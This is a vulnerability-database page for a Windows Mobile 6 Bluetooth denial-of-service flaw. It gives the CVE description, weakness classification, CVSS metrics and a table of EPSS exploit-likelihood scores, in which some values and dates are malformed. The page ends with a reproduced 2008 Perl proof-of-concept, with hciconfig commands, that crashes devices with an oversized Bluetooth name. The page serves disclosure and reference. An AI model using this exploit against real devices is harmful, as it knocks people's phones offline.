CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Microsoft Windows Mobile 6.0 on HTC Wiza 200 and HTC MDA 8125 devices does not properly handle the first attempt to establish a Bluetooth connection to a peer with a long name, which allows remote attackers to cause a denial of service (device reboot) by configuring a Bluetooth device with a long hci name and (1) connecting directly to the Windows Mobile system or (2) waiting for the Windows Mobile system to scan for nearby devices.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.4
AV:N/AC:H/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
25.6%
–
–
2022-04-03
–
–
25.6%
–
–
2023-03-12
–
–
–
8.76%
–
2023-04-02
–
–
–
9.79%
–
2023-05-07
–
–
–
11.65%
–
2023-07-16
–
–
–
11.65%
–
2023-07-30
–
–
–
15.01%
–
2023-09-03
–
–
–
37.58%
–
2023-12-24
–
–
–
33.53%
–
2024-01-28
–
–
–
27.88%
–
2024-02-11
–
–
–
27.88%
–
2024-03-03
–
–
–
25.1%
–
2024-04-07
–
–
–
40.55%
–
2024-06-02
–
–
–
39.45%
–
2024-06-23
–
–
–
40.71%
–
2024-07-28
–
–
–
35.36%
–
2024-10-06
–
–
–
30.29%
–
2024-11-10
–
–
–
30.47%
–
2025-03-02
–
–
–
29.06%
–
2025-01-19
–
–
–
30.47%
–
2025-03-09
–
–
–
29.06%
–
2025-03-18
–
–
–
–
46.38%
2025-03-30
–
–
–
–
47.31%
2025-04-15
–
–
–
–
40.75%
2025-04-15
–
–
–
–
40.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
#
# ----------WM6 remote overflow reboot PoC----------
# Simple exploit for remote rebooting a windows mobile device
# Maybe we can use it for doing command execution,
# I've not test it since the device is rebooting and do not dump a core
# for further analysing.
#
# The bug is not realy in the long string name but when it's the first
# time the wm6 device try to get a connection with too long name.
#
# There's two way to exploit this bug, this PoC show the first method
# (direct connect to the device if we know the bdaddr) but you can
# just wait for the device to search and overflow by itself when
# seeing the hci name:
# hciconfig <hci dev> name `perl -e 'print "A"x90000'`
# hciconfig <hci dev> piscan
# You just have to wait until the wm device search for bluetooth devices
# in range and it will be overflowed
#
# *Tested on WM6 fully patched on [HTC wiza 200],[HTC Mda 8125]
# (by Julien Bedard)
#
use Net::Bluetooth;
$target=$ARGV[0];
$hci_dev=$ARGV[1];
$overflow="A" x 90000;
$rfcomm_port="3";
if (@ARGV < 2)
{
die "Usage:\n ./wm6_dos.pl <target_mac> <hci_device>\n\n";
}
# change this lame cmd ???
system("hciconfig $hci_dev name $overflow");
$over_conn = Net::Bluetooth->newsocket("RFCOMM");
print "socket error $!\n" unless(defined($over_conn));
$over_conn->connect($target, $rfcomm_port);
# milw0rm.com [2008-09-26]